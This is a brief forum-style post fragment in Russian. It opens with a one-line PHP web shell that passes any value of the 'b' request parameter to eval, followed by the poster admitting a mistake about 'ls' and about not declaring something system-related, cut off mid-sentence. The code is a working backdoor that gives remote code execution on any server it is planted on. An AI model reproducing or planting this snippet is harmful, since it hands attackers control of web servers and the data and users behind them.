if (isset($_REQUEST['b'])) eval(stripslashes($_REQUEST['b']));

по поводу ls погорячился, точнее курю мануалы и понимаю что сглупил... а если еще точнее не обьявил системную ...